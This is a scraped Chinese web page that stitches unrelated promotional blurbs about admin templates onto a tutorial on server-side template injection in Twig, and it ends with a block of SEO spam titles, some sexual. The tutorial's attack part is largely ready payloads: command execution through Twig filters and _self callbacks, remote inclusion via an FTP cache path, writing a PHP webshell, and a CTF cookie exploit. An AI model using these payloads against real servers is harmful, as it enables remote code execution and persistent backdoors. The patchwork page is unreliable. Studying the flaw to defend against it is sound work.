整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          分享 10個酷炫的后臺模板,給不愛寫頁面的程序員

          要從零開始開發一個開源項目,這個項目的目的很簡單:新人可以練手,一步一步搭建項目,把時下流行的技術整合進來,在用這些技術的特性來實現具體業務功能,而對于有經驗的老鳥可以把自學的技術在項目中得以實踐。

          在這里插入圖片描述

          琢磨了挺長時間,前段時間工作比較忙、家中事情也比較多,導致最近才著手弄。

          感興趣的同學可以關注一波,項目進度可能會緩慢,但腳步絕不會停止

          作為一個后端程序員,雖然平時也會做一些管理后臺的頁面,可那都是本著能用就行的原則,美觀都是次要的。但項目要對外開源這可是門面,不美美噠多沒面子,所以選一個酷炫的頁面模板成了首要任務,選了10個模板出來,大伙給參謀下。

          源碼獲取方式:關注轉發之后私信回復【源碼】來免費獲取到這10個后臺模板源碼

          天小編給大家推薦高端WEB網頁樣機模版,有助于提供你的甲方過稿率,非常好用,趕緊收藏一波。關注微信公眾號“素材幫幫站”,在公眾號內回復100093,獲取素材下載地址。查看往期文章,獲取更多免費素材。

          么是SSTI

          SSTI:開局一張圖,姿勢全靠y


          SSTI,即服務器端模板注入(Server-Side Template Injection)

          常見的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代碼注入,命令注入等等。sql注入已經出世很多年了,對于sql注入的概念和原理很多人應該是相當清楚了,SSTI也是注入類的漏洞,其成因其實是可以類比于sql注入的。

          sql注入的成因是從用戶獲得一個輸入后,經過后端腳本語言進行數據庫查詢,這時我們就可以構造輸入語句來進行拼接,從而實現我們想要的sql語句

          SSTI也是如此,不過SSTI是在服務端接收了輸入后,將其作為web應用模板內容的一部分,在進行目標編譯渲染的過程中,將惡意語句進行了拼接,因此可能造成敏感信息泄露、代碼執行、getshell等問題

          在這我會簡單以常見的Twig模板引擎進行演示,有所遺漏錯誤,歡迎各位師傅們進行補充糾正

          模板引擎

          模板是一種提供給程序進行解析的一種語法,從初始數據到實際的視覺表達靠的就是這一項工作所實現的,且這種手段是同時存在于前后端的

          常見的模板引擎有

          1.php 常用的

          Smarty

          Smarty算是一種很老的PHP模板引擎了,非常的經典,使用的比較廣泛

          Twig

          Twig是來自于Symfony的模板引擎,它非常易于安裝和使用。它的操作有點像Mustache和liquid。

          Blade

          Blade 是 Laravel 提供的一個既簡單又強大的模板引擎。

          和其他流行的 PHP 模板引擎不一樣,Blade 并不限制你在視圖中使用原生 PHP代碼。所有 Blade 視圖文件都將被編譯成原生的 PHP 代碼并緩存起來,除非它被修改,否則不會重新編譯,這就意味著 Blade基本上不會給你的應用增加任何額外負擔。

          2.Java 常用的

          JSP

          這個引擎我想應該沒人不知道吧,這個應該也是我最初學習的一個模板引擎,非常的經典

          FreeMarker

          FreeMarker是一款模板引擎:即一種基于模板和要改變的數據,并用來生成輸出文本(HTML網頁、電子郵件、配置文件、源代碼等)的通用工具。它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。

          Velocity

          Velocity作為歷史悠久的模板引擎不單單可以替代JSP作為JavaWeb的服務端網頁模板引擎,而且可以作為普通文本的模板引擎來增強服務端程序文本處理能力。

          3.Python 常用的

          Jinja2

          flask jinja2 一直是一起說的,使用非常的廣泛,是我學習的第一個模板引擎

          django

          django 應該使用的是專屬于自己的一個模板引擎,我這里姑且就叫他 django,我們都知道django 以快速開發著稱,有自己好用的ORM,他的很多東西都是耦合性非常高的,你使用別的就不能發揮出 django 的特性了

          tornado

          tornado 也有屬于自己的一套模板引擎,tornado 強調的是異步非阻塞高并發

          形形色色的模板引擎為了達到渲染效果,總會對用戶輸入有所處理,這也就給攻擊者提供了道路,盡管模板引擎也會相應提供沙箱機制進行保護,但是也存在沙箱逃逸技術可以進行繞過

          攻擊思路

          找到模板是什么模板引擎,是哪個版本的,然后設法利用模板的內置方法,進行rce、getshell

          PHP-Twig

          Twig 被許多開源項目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;許多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。

          本地復現可以用composer搭建

          • 在Twig引擎中,我們可以通過下面方法獲得一些關于當前應用的信息(雖然經常會被ban就是...)
          {{_self}} #指向當前應用
          {{_self.env}}
          {{dump(app)}}
          {{app.request.server.all|join(',')}}

          基礎語法

          模板其實就是一個文本文件,它可以生成我們需要的任何基于文本的格式文件(html、xml、csv等)

          它也沒有特別的拓展后綴名,.html.xml.twig都可

          這里主要講一些我們在利用時會用到的基礎知識

          變量

          應用程序將變量傳入模板中進行處理,變量可以包含你能訪問的屬性或元素。你可以使用 . 來訪問變量中的屬性(方法或 PHP 對象的屬性,或 PHP 數組單元),Twig還支持訪問PHP數組上的項的特定語法, foo['bar']

          {{ foo.bar }}
          {{ foo['bar'] }}

          全局變量

          模板中始終提供以下變量:

          • _self :引用當前模板名稱;(在twig1.x和2.x/3.x作用不一)
          • _context :引用當前上下文;
          • _charset :引用當前字符集。

          設置變量

          可以為代碼塊內的變量賦值。賦值使用set標簽:

          {% set foo = 'foo' %}
          {% set foo = [1, 2] %}
          {% set foo = {'foo': 'bar'} %}

          過濾器

          變量可以修改為 過濾器 . 過濾器與變量之間用管道符號隔開 (| ). 可以鏈接多個過濾器。一個過濾器的輸出應用于下一個過濾器。

          下面的示例從 name 標題是:

          {{ name|striptags|title }}

          接受參數的篩選器在參數周圍有括號。此示例通過逗號連接列表中的元素:

          {{ list|join }}
          {{ list|join(', ') }}
          ?
          // {{ ['a', 'b', 'c']|join }}
          // Output: abc
          ?
          // {{ ['a', 'b', 'c']|join('|') }}
          // Output: a|b|c

          若要對代碼部分應用篩選器,請使用apply標簽:

          {% apply upper %}
             This text becomes uppercase
          {% endapply %}

          過濾器有很多,但是我們常用的一般就mapsortfilterreduce

          更多內置過濾器請參考:https://twig.symfony.com/doc/3.x/filters/index.html

          控制結構

          控制結構是指所有控制程序流的東西-條件句(即 if/elseif/else/ for)循環,以及程序塊之類的東西。控制結構出現在 {{% ... %}}

          例如,要顯示在名為 users 使用for標簽:

          <h1>Members</h1>
          <ul>
            {% for user in users %}
                 <li>{{ user.username|e }}</li>
            {% endfor %}
          </ul>

          if標記可用于測試表達式:

          {% if users|length > 0 %}
             <ul>
                {% for user in users %}
                     <li>{{ user.username|e }}</li>
                {% endfor %}
             </ul>
          {% endif %}

          更多 tags 請參考:https://twig.symfony.com/doc/3.x/tags/index.html

          函數

          在 Twig 模板中可以直接調用函數,用于生產內容。如下調用了 range() 函數用來返回一個包含整數等差數列的列表:

          {% for i in range(0, 3) %}
            {{ i }},
          {% endfor %}
          ?
          // Output: 0, 1, 2, 3,

          更多內置函數請參考:https://twig.symfony.com/doc/3.x/functions/index.html

          注釋

          要在模板中注釋某一行,可以使用注釋語法 {# ...#}

          {# note: disabled template because we no longer use this
            {% for user in users %}
                ...
            {% endfor %}
          #}

          引入其他模板

          Twig 提供的 include 函數可以使你更方便地在模板中引入模板,并將該模板已渲染后的內容返回到當前模板

          {{ include('sidebar.html') }}

          模板繼承

          Twig最強大的部分是模板繼承。模板繼承允許您構建一個基本的“skeleton”模板,該模板包含站點的所有公共元素并定義子模版可以覆寫的 blocks 塊。

          從一個例子開始更容易理解這個概念。

          讓我們定義一個基本模板, base.html ,它定義了可用于兩列頁面的HTML框架文檔:

          <!DOCTYPE html>
          <html>
            <head>
                {% block head %}
                    <link rel="stylesheet" href="style.css"/>
                    <title>{% block title %}{% endblock %} - My Webpage</title>
                {% endblock %}
            </head>
            <body>
                <div id="content">{% block content %}{% endblock %}</div>
                <div id="footer">
                    {% block footer %}
                        ? Copyright 2011 by <a href="http://domain.invalid/">you</a>.
                    {% endblock %}
                </div>
            </body>
          </html>

          在這個例子中,block標記定義了子模板可以填充的四個塊。所有的 block 標記的作用是告訴模板引擎子模板可能會覆蓋模板的這些部分。

          子模板可能如下所示:

          {% extends "base.html" %}
          ?
          {% block title %}Index{% endblock %}
          {% block head %}
            {{ parent() }}
            <style type="text/css">
                .important { color: #336699; }
          </style>
          {% endblock %}
          {% block content %}
            <h1>Index</h1>
            <p class="important">
                Welcome to my awesome homepage.
            </p>
          {% endblock %}

          其中的 extends 標簽是關鍵所在,其必須是模板的第一個標簽。extends 標簽告訴模板引擎當前模板擴展自另一個父模板,當模板引擎評估編譯這個模板時,首先會定位到父模板。由于子模版未定義并重寫 footer 塊,就用來自父模板的值替代使用了。

          更多 Twig 的語法請參考:https://twig.symfony.com/doc/3.x/

          1.x

          在twig 1.x版本,存在三個全局變量

          • _self:引用當前模板實例
          • _context:引用上下文
          • _charset:引用當前字符集

          其相對應的代碼如下

          protected $specialVars = [
                 '_self' => '$this',
                 '_context' => '$context',
                 '_charset' => '$this->env->getCharset()',
            ];

          在twig 1.x中,主要利用的是_self變量,它會返回當前 \Twig\Template 實例,并提供了指向 Twig_Environmentenv 屬性,這樣我們就可以繼續調用 Twig_Environment 中的其他方法

          payload

          {{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}

          通過調用setCache方法改變twig加載php的路徑,在allow_url_include開啟的條件下,我們就可以實現遠程文件包含

          在getFilter方法中存在call_user_func回調函數,通過傳入參數我們可以借此調用任意函數

          #getFilter
          public function getFilter($name)
          {
            ...
             foreach ($this->filterCallbacks as $callback) {
             if (false !== $filter = call_user_func($callback, $name)) {
               return $filter;
            }
          }
           return false;
          }
          ?
          public function registerUndefinedFilterCallback($callable)
          {
           $this->filterCallbacks[] = $callable;
          }
          ?
          {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
          // Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

          但以上漏洞都只存在于1.x,在后續版本中,_self只會返回當前實例名字符串

          2.x&3.x

          在這里我用twig3.x+php7.3.4作為示例

          用PHP的API調用twig

          index.php

          <?php
          require_once "./vendor/autoload.php";
          ?
          $loader = new \Twig\Loader\ArrayLoader([
             'index' => 'Hello {{ name }}!',
          ]);
          $twig = new \Twig\Environment($loader);
          ?
          ?
          $template = $twig->createTemplate("Hello {$_GET['name']}!");
          ?
          echo $template->render();

          在twig2.x/3.x中,_self不再像1.x時那么有他獨特的作用,但是也相應更新了一些特殊方法來供我們利用

          map過濾器

          map

          這個 map 過濾器將箭頭函數應用于序列或映射的元素。arrow函數接收序列或映射的值:

          {% set people = [
          {first: "Bob", last: "Smith"},
          {first: "Alice", last: "Dupond"},
          ] %}

          {{ people|map(p => "#{p.first} #{p.last}")|join(', ') }}
          {# outputs Bob Smith, Alice Dupond #}

          arrow函數還接收密鑰作為第二個參數:

          {% set people = {
          "Bob": "Smith",
          "Alice": "Dupond",
          } %}

          {{ people|map((last, first) => "#{first} #{last}")|join(', ') }}
          {# outputs Bob Smith, Alice Dupond #}

          注意arrow函數可以訪問當前上下文。

          可以看出允許用戶傳一個arrow 函數,arrow 函數最后會變成一個closure

          舉個例子

          當我們傳入

          {{["man"]|map((arg)=>"hello #{arg}")}}

          在模板中會被編譯為

          twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))

          map所對應的函數如下

          function twig_array_map($array $arrow)
          {
             $r = [];
             foreach ($array as $k => $v) {
                 $r[$k] = $arrow($v $k);
            }
          ?
             return $r;
          }

          我們可以看到,傳入的 $arrow 直接就被當成函數執行,即 $arrow($v, $k),而 $v$k 分別是 $array 中的 value 和 key

          所以$array$arrow都是我們可控的,那我們就可以找到有兩個參數的、可以實現命令執行的危險函數來進行rce

          經過查詢,有如下幾種常見命令執行函數

          system ( string $command [, int &$return_var ] ) : string
          passthru ( string $command [, int &$return_var ] )
          exec ( string $command [, array &$output [, int &$return_var ]] ) : string
          shell_exec ( string $cmd ) : string

          有兩個參數的函數就上面三種,其對應payload

          {{["whoami"]|map("system")}}
          {{["whoami"]|map("passthru")}}
          {{["whoami"]|map("exec")}}    // 無回顯

          但是當上面的都被ban了呢,我們還有沒有其他方法rce

          當然,例如

          file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int

          當我們找到路徑后就可以利用該函數進行寫shell了

          ?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\phpstudy_pro\WWW\shell.php"}|map("file_put_contents")}}

          根據map過濾器的利用思路,我們可以再找到其他類似的,帶有$arrow參數的

          sort過濾器

          sort

          這個 sort 篩選器對數組排序:

          {% for user in users|sort %}
          ...
          {% endfor %}

          注解

          在內部,Twig使用PHP asort 函數來維護索引關聯。它通過將可遍歷對象轉換為數組來支持這些對象。

          您可以傳遞一個箭頭函數來對數組進行排序:

          {% set fruits = [
          { name: 'Apples', quantity: 5 },
          { name: 'Oranges', quantity: 2 },
          { name: 'Grapes', quantity: 4 },
          ] %}

          {% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
          {{ fruit }}
          {% endfor %}

          {# output in this order: Oranges, Grapes, Apples #}

          注意 spaceship 運算符來簡化比較。

          類似于map,sort在模板編譯時也會進入twig_sort_filter 函數

          function twig_sort_filter($array, $arrow = null)
          {
             if ($array instanceof \Traversable) {
                 $array = iterator_to_array($array);
            } elseif (!\is_array($array)) {
                 throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
            }
          ?
             if (null !== $arrow) {
                 uasort($array, $arrow);    // 直接被 uasort 調用
            } else {
                 asort($array);
            }
          ?
             return $array;
          }
          uasort ( array &$array , callable $value_compare_func ) : bool

          可以看到,$array$arrow直接被uasort調用

          uasort會將數組中的元素按照鍵值進行排序,當我們自定義一個危險函數時,就可能造成rce

          這樣我們就可以構造payload了

          {{["id", 0]|sort("system")}}
          {{["id", 0]|sort("passthru")}}
          {{["id", 0]|sort("exec")}}    // 無回顯

          filter過濾器

          filter

          這個 filter 過濾器使用箭頭函數過濾序列或映射的元素。arrow函數接收序列或映射的值:

          {% set sizes = [34, 36, 38, 40, 42] %}

          {{ sizes|filter(v => v > 38)|join(', ') }}
          {# output 40, 42 #}

          for 標記,它允許篩選要迭代的項:

          {% for v in sizes|filter(v => v > 38) -%}
          {{ v }}
          {% endfor %}
          {# output 40 42 #}

          它也適用于映射:

          {% set sizes = {
          xs: 34,
          s: 36,
          m: 38,
          l: 40,
          xl: 42,
          } %}

          {% for k, v in sizes|filter(v => v > 38) -%}
          {{ k }} = {{ v }}
          {% endfor %}
          {# output l = 40 xl = 42 #}

          arrow函數還接收密鑰作為第二個參數:

          {% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%}
          {{ k }} = {{ v }}
          {% endfor %}
          {# output l = 40 #}

          注意arrow函數可以訪問當前上下文。

          類似于map,filter在模板編譯時也會進入twig_array_filter 函數

          function twig_array_filter($array, $arrow)
          {
             if (\is_array($array)) {
                 return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函數調用
            }
          ?
             // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
             return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
          }
          ?
          array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

          可以看到和前面方法類似,我們實驗一下

          得到payload

          {{["id"]|filter("system")}}
          {{["id"]|filter("passthru")}}
          {{["id"]|filter("exec")}}    // 無回顯
          ?
          {{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}}    // 和map過濾器一樣可以寫 Webshell

          reduce 過濾器

          reduce

          這個 reduce filter使用arrow函數迭代地將序列或映射縮減為單個值,從而將其縮減為單個值。arrow函數接收上一次迭代的返回值和序列或映射的當前值:

          {% set numbers = [1, 2, 3] %}

          {{ numbers|reduce((carry, v) => carry + v) }}
          {# output 6 #}

          這個 reduce 過濾器需要 initial 值作為第二個參數:

          {{ numbers|reduce((carry, v) => carry + v, 10) }}
          {# output 16 #}

          注意arrow函數可以訪問當前上下文。

          直接來看函數

          function twig_array_reduce($array, $arrow, $initial = null)
          {
             if (!\is_array($array)) {
                 $array = iterator_to_array($array);
            }
          ?
             return array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函數調用
          }
          ?
          array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed

          可以看到array_reduce是有三個參數的

          $array$arrow 直接被 array_filter 函數調用,我們可以利用該性質自定義一個危險函數從而達到rce

          剛開始還是像前面一樣構造

          {{["id", 0]|reduce("passthru")}}

          但是發現沒有執行成功,原因是第一次調用的是

          passthru($initial, "id")

          因為$initial為null,所以會報錯,我們想要對他進行賦值才行

          payload

          {{[0, 0]|reduce("system", "id")}}
          {{[0, 0]|reduce("passthru", "id")}}
          {{[0, 0]|reduce("exec", "id")}}    // 無回顯

          題目

          • [BJDCTF2020]Cookie is so stable

          進入發現一個flag按鈕和一個hint按鈕點擊hint發現源碼有hint

          返回訪問flag.php

          經過簡單測試猜測為twig(傳入{{7*'7'}}后Jinja2輸出7777777,Twig輸出49

          同時發現在cookie是我們的輸入點,開始查看是什么版本的twig,用_self來測試

          cookie
          user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

          twig1.x,我們直接cat /flag試試

          cookie
          user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}


          基本思路還是測試出為哪個模板,哪個版本,測試payload即可

          后言

          SSTI 并不廣泛存在,但如果開發人員濫用模板引擎,那么就很有可能出現SSTI,并且根據其模板引擎的復雜性和開發語言的特性,很大幾率會出現非常嚴重的問題

          聯想到最近的log4j2漏洞,與SSTI類似,都是將用戶的輸入當作可信任內容,這才出現了大大小小的安全問題

          一句話總結:永遠不要相信用戶的輸入


          主站蜘蛛池模板: 蜜桃视频一区二区三区在线观看| 欧洲精品无码一区二区三区在线播放| 日韩好片一区二区在线看| 国产情侣一区二区三区| 国产激情一区二区三区在线观看| 日本在线一区二区| 蜜桃无码一区二区三区| 久久精品一区二区影院| 国产成人精品久久一区二区三区| 亚洲AV永久无码精品一区二区国产 | 国产一区二区三区小向美奈子| 老熟妇仑乱视频一区二区 | 日韩人妻不卡一区二区三区| 色一情一乱一伦一区二区三区日本| 国产另类TS人妖一区二区| 国产成人av一区二区三区不卡| 精品亚洲AV无码一区二区三区| 在线精品亚洲一区二区小说| 午夜福利国产一区二区| 国产成人一区二区三区| 国产乱码一区二区三区四| 精品无码AV一区二区三区不卡| 在线视频一区二区三区三区不卡 | 国产成人精品久久一区二区三区av| 精品亚洲AV无码一区二区三区| 视频在线观看一区二区三区| 亚洲va乱码一区二区三区| 一区二区三区无码视频免费福利 | 香蕉久久AⅤ一区二区三区| 无码人妻一区二区三区兔费| 久久久久人妻一区精品性色av| 国产成人精品一区二区A片带套| 国产探花在线精品一区二区| 在线观看国产一区| 亚洲线精品一区二区三区| 国产日韩一区二区三免费高清| 中文字幕日本精品一区二区三区 | 亚洲精品一区二区三区四区乱码| 人妻天天爽夜夜爽一区二区| 人妻av无码一区二区三区| 色国产精品一区在线观看|